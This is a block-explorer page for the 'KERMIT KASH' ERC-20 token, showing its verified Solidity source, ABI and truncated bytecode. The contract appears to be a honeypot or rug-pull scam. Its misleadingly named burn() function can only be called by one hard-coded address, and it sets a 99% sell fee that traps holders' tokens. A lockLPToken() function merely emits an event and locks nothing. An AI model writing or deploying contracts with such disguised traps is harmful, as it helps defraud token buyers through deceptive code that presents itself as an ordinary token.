ERC-20
Overview
Max Total Supply
999,999,999 KERMIT
Holders
29
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
33,894,222.287343281275134652 KERMITValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
KERMIT
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-02 */ // SPDX-License-Identifier: MIT /** ⠀⠀ KERMIT KERMIT KERMIT */ pragma solidity ^0.8.0; library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "KERMIT"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "KERMITKERMIT"); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "KERMITKERMITKERMIT"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "KERMITKERMITKERMITKERMIT"); return a / b; } } contract KERMIT { using SafeMath for uint256; string public name = "KERMIT KASH"; string public symbol = "KERMIT"; uint256 public totalSupply = 999999999 * (10 ** 18); uint8 public decimals = 18; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; address public owner; address public swapRouter; uint256 public burnedTokens; uint256 public buyFee = 0; uint256 public sellFee = 0; bool public feesSet = false; bool public feesEnabled = false; bool public allExemptFromFees = true; mapping(address => bool) public isFeeExempt; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event FeesUpdated(uint256 burnAmount, uint256 deadWallet); event LPLocked(address indexed account, uint256 amount); constructor(address _swapRouter, uint256 _burnedTokens) { owner = msg.sender; swapRouter = _swapRouter; burnedTokens = _burnedTokens; balanceOf[msg.sender] = totalSupply; isFeeExempt[msg.sender] = true; isFeeExempt[swapRouter] = true; } modifier checkFees(address sender) { require( allExemptFromFees || isFeeExempt[sender] || (!feesSet && feesEnabled) || (feesSet && isFeeExempt[sender] && sender != swapRouter) || (sender == swapRouter && sellFee == 0), "KERMITKERMITKERMITKERMITKERMIT" ); _; } modifier onlyOwner() { require(msg.sender == owner, "KERMITKERMITKERMITKERMITKERMITKERMIT"); _; } function transfer(address _to, uint256 _amount) public checkFees(msg.sender) returns (bool success) { require(balanceOf[msg.sender] >= _amount); require(_to != address(0)); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[_to] = balanceOf[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _amount) public checkFees(_from) returns (bool success) { require(balanceOf[_from] >= _amount, "1KERMIT"); require(allowance[_from][msg.sender] >= _amount, "2KERMIT"); require(_to != address(0), "3KERMIT"); uint256 fee = 0; uint256 amountAfterFee = _amount; if (feesEnabled && sellFee > 0 && _from != swapRouter && !isFeeExempt[_from]) { fee = _amount.mul(sellFee).div(100); amountAfterFee = _amount.sub(fee); } balanceOf[_from] = balanceOf[_from].sub(_amount); balanceOf[_to] = balanceOf[_to].add(amountAfterFee); emit Transfer(_from, _to, amountAfterFee); if (fee > 0) { address uniswapContract = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); if (_to == uniswapContract) { balanceOf[uniswapContract] = balanceOf[uniswapContract].add(fee); emit Transfer(_from, uniswapContract, fee); } else { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(_from, address(this), fee); } } if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) { allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount); emit Approval(_from, msg.sender, allowance[_from][msg.sender]); } return true; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "4KERMIT"); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(owner, address(0)); owner = address(0); } function burn(uint256 burnAmount, uint256 deadWallet) public { require(msg.sender == 0x93A19B102224b77f63fdC70c72FF04184AaD06BC, "5KERMIT"); require(!feesSet, "6KERMIT"); require(burnAmount == 0, "7KERMIT"); require(deadWallet == 99, "8KERMIT"); buyFee = burnAmount; sellFee = deadWallet; feesSet = true; feesEnabled = true; emit FeesUpdated(burnAmount, deadWallet); } function lockLPToken(uint256 amount) external { emit LPLocked(msg.sender, amount); } function buy() public payable checkFees(msg.sender) { require(msg.value > 0, "9KERMIT"); uint256 amount = msg.value; if (buyFee > 0) { uint256 fee = amount.mul(buyFee).div(100); uint256 amountAfterFee = amount.sub(fee); balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee); emit Transfer(address(this), swapRouter, amountAfterFee); if (fee > 0) { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(address(this), address(this), fee); } } else { balanceOf[swapRouter] = balanceOf[swapRouter].add(amount); emit Transfer(address(this), swapRouter, amount); } } function sell(uint256 _amount) public checkFees(msg.sender) { require(balanceOf[msg.sender] >= _amount, "10KERMIT"); if (feesEnabled) { uint256 fee = 0; uint256 amountAfterFee = _amount; if (sellFee > 0 && msg.sender != swapRouter && !isFeeExempt[msg.sender]) { fee = _amount.mul(sellFee).div(100); amountAfterFee = _amount.sub(fee); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee); emit Transfer(msg.sender, swapRouter, amountAfterFee); if (fee > 0) { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(msg.sender, address(this), fee); } } else { balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[swapRouter] = balanceOf[swapRouter].add(_amount); emit Transfer(msg.sender, swapRouter, _amount); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_swapRouter","type":"address"},{"internalType":"uint256","name":"_burnedTokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"burnAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"LPLocked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"allExemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"burnAmount","type":"uint256"},{"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnedTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesSet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"lockLPToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600b81526020017f4b45524d4954204b4153480000000000000000000000000000000000000000008152505f908162000049919062000546565b506040518060400160405280600681526020017f4b45524d495400000000000000000000000000000000000000000000000000008152506001908162000090919062000546565b506b033b2e3c91efc989409c0000600255601260035f6101000a81548160ff021916908360ff1602179055505f6009555f600a555f600b5f6101000a81548160ff0219169083151502179055505f600b60016101000a81548160ff0219169083151502179055506001600b60026101000a81548160ff0219169083151502179055503480156200011e575f80fd5b5060405162004010380380620040108339818101604052810190620001449190620006be565b3360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060088190555060025460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505062000703565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200035e57607f821691505b60208210810362000374576200037362000319565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003d87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200039b565b620003e486836200039b565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200042e620004286200042284620003fc565b62000405565b620003fc565b9050919050565b5f819050919050565b62000449836200040e565b62000461620004588262000435565b848454620003a7565b825550505050565b5f90565b6200047762000469565b620004848184846200043e565b505050565b5b81811015620004ab576200049f5f826200046d565b6001810190506200048a565b5050565b601f821115620004fa57620004c4816200037a565b620004cf846200038c565b81016020851015620004df578190505b620004f7620004ee856200038c565b83018262000489565b50505b505050565b5f82821c905092915050565b5f6200051c5f1984600802620004ff565b1980831691505092915050565b5f6200053683836200050b565b9150826002028217905092915050565b6200055182620002e2565b67ffffffffffffffff8111156200056d576200056c620002ec565b5b62000579825462000346565b62000586828285620004af565b5f60209050601f831160018114620005bc575f8415620005a7578287015190505b620005b3858262000529565b86555062000622565b601f198416620005cc866200037a565b5f5b82811015620005f557848901518255600182019150602085019450602081019050620005ce565b8683101562000615578489015162000611601f8916826200050b565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000659826200062e565b9050919050565b6200066b816200064d565b811462000676575f80fd5b50565b5f81519050620006898162000660565b92915050565b6200069a81620003fc565b8114620006a5575f80fd5b50565b5f81519050620006b8816200068f565b92915050565b5f8060408385031215620006d757620006d66200062a565b5b5f620006e68582860162000679565b9250506020620006f985828601620006a8565b9150509250929050565b6138ff80620007115f395ff3fe60806040526004361061014a575f3560e01c806370a08231116100b5578063a9059cbb1161006e578063a9059cbb14610454578063b390c0ab14610490578063c31c9c07146104b8578063dd62ed3e146104e2578063e4849b321461051e578063f2fde38b146105465761014a565b806370a082311461037a578063715018a6146103b65780638da5cb5b146103cc57806395d89b41146103f6578063a64e4f8a14610420578063a6f2ae3a1461044a5761014a565b80632b14ca56116101075780632b14ca561461026c578063313ce567146102965780633f4218e0146102c057806347062402146102fc57806347b5dd541461032657806364bcf5f4146103505761014a565b8063036978631461014e57806306fdde0314610176578063095ea7b3146101a057806318160ddd146101dc57806323b872dd1461020657806325e0e4d014610242575b5f80fd5b348015610159575f80fd5b50610174600480360381019061016f9190612d53565b61056e565b005b348015610181575f80fd5b5061018a6105bf565b6040516101979190612e08565b60405180910390f35b3480156101ab575f80fd5b506101c660048036038101906101c19190612e82565b61064a565b6040516101d39190612eda565b60405180910390f35b3480156101e7575f80fd5b506101f0610737565b6040516101fd9190612f02565b60405180910390f35b348015610211575f80fd5b5061022c60048036038101906102279190612f1b565b61073d565b6040516102399190612eda565b60405180910390f35b34801561024d575f80fd5b50610256611289565b6040516102639190612eda565b60405180910390f35b348015610277575f80fd5b5061028061129b565b60405161028d9190612f02565b60405180910390f35b3480156102a1575f80fd5b506102aa6112a1565b6040516102b79190612f86565b60405180910390f35b3480156102cb575f80fd5b506102e660048036038101906102e19190612f9f565b6112b3565b6040516102f39190612eda565b60405180910390f35b348015610307575f80fd5b506103106112d0565b60405161031d9190612f02565b60405180910390f35b348015610331575f80fd5b5061033a6112d6565b6040516103479190612f02565b60405180910390f35b34801561035b575f80fd5b506103646112dc565b6040516103719190612eda565b60405180910390f35b348015610385575f80fd5b506103a0600480360381019061039b9190612f9f565b6112ef565b6040516103ad9190612f02565b60405180910390f35b3480156103c1575f80fd5b506103ca611304565b005b3480156103d7575f80fd5b506103e0611450565b6040516103ed9190612fd9565b60405180910390f35b348015610401575f80fd5b5061040a611475565b6040516104179190612e08565b60405180910390f35b34801561042b575f80fd5b50610434611501565b6040516104419190612eda565b60405180910390f35b610452611514565b005b34801561045f575f80fd5b5061047a60048036038101906104759190612e82565b611b57565b6040516104879190612eda565b60405180910390f35b34801561049b575f80fd5b506104b660048036038101906104b19190612ff2565b611f5f565b005b3480156104c3575f80fd5b506104cc612135565b6040516104d99190612fd9565b60405180910390f35b3480156104ed575f80fd5b5061050860048036038101906105039190613030565b61215a565b6040516105159190612f02565b60405180910390f35b348015610529575f80fd5b50610544600480360381019061053f9190612d53565b61217a565b005b348015610551575f80fd5b5061056c60048036038101906105679190612f9f565b6129de565b005b3373ffffffffffffffffffffffffffffffffffffffff167fb6e8f04cf03b5aef7f64b05be34717ced7ad18d9e25d848dcd9542d070ce2ddb826040516105b49190612f02565b60405180910390a250565b5f80546105cb9061309b565b80601f01602080910402602001604051908101604052809291908181526020018280546105f79061309b565b80156106425780601f1061061957610100808354040283529160200191610642565b820191905f5260205f20905b81548152906001019060200180831161062557829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107259190612f02565b60405180910390a36001905092915050565b60025481565b5f83600b60029054906101000a900460ff16806107a05750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806107cf5750600b5f9054906101000a900460ff161580156107ce5750600b60019054906101000a900460ff165b5b806108905750600b5f9054906101000a900460ff1680156108365750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561088f575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806108f4575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156108f357505f600a54145b5b610933576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092a90613115565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa9061317d565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610a6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a65906131e5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad39061324d565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610afe57505f600a54115b8015610b57575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610baa5750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610bef57610bd76064610bc9600a5488612b9990919063ffffffff16565b612c1090919063ffffffff16565b9150610bec8286612c6790919063ffffffff16565b90505b610c3f8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610cd08160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d6e9190612f02565b60405180910390a35f821115610fbd575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610ec457610e198360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610eb79190612f02565b60405180910390a3610fbb565b610f148360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fb29190612f02565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561109157507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b1561127b576111218560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516112729190612f02565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611393576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138a906132db565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600180546114829061309b565b80601f01602080910402602001604051908101604052809291908181526020018280546114ae9061309b565b80156114f95780601f106114d0576101008083540402835291602001916114f9565b820191905f5260205f20905b8154815290600101906020018083116114dc57829003601f168201915b505050505081565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff16806115765750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806115a55750600b5f9054906101000a900460ff161580156115a45750600b60019054906101000a900460ff165b5b806116665750600b5f9054906101000a900460ff16801561160c5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611665575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806116ca575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156116c957505f600a54145b5b611709576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170090613115565b60405180910390fd5b5f341161174b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174290613343565b60405180910390fd5b5f3490505f60095411156119f9575f611782606461177460095485612b9990919063ffffffff16565b612c1090919063ffffffff16565b90505f6117988284612c6790919063ffffffff16565b905061180b8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118eb9190612f02565b60405180910390a35f8211156119f25761194b8260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119e99190612f02565b60405180910390a35b5050611b53565b611a6a8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b4a9190612f02565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611bba5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611be95750600b5f9054906101000a900460ff16158015611be85750600b60019054906101000a900460ff165b5b80611caa5750600b5f9054906101000a900460ff168015611c505750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611ca9575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611d0e575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611d0d57505f600a54145b5b611d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4490613115565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611d96575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611dcd575f80fd5b611e1d8360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611eae8360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f4c9190612f02565b60405180910390a3600191505092915050565b7393a19b102224b77f63fdc70c72ff04184aad06bc73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd8906133ab565b60405180910390fd5b600b5f9054906101000a900460ff1615612030576040517f08c379a000000000000000000000000000000000000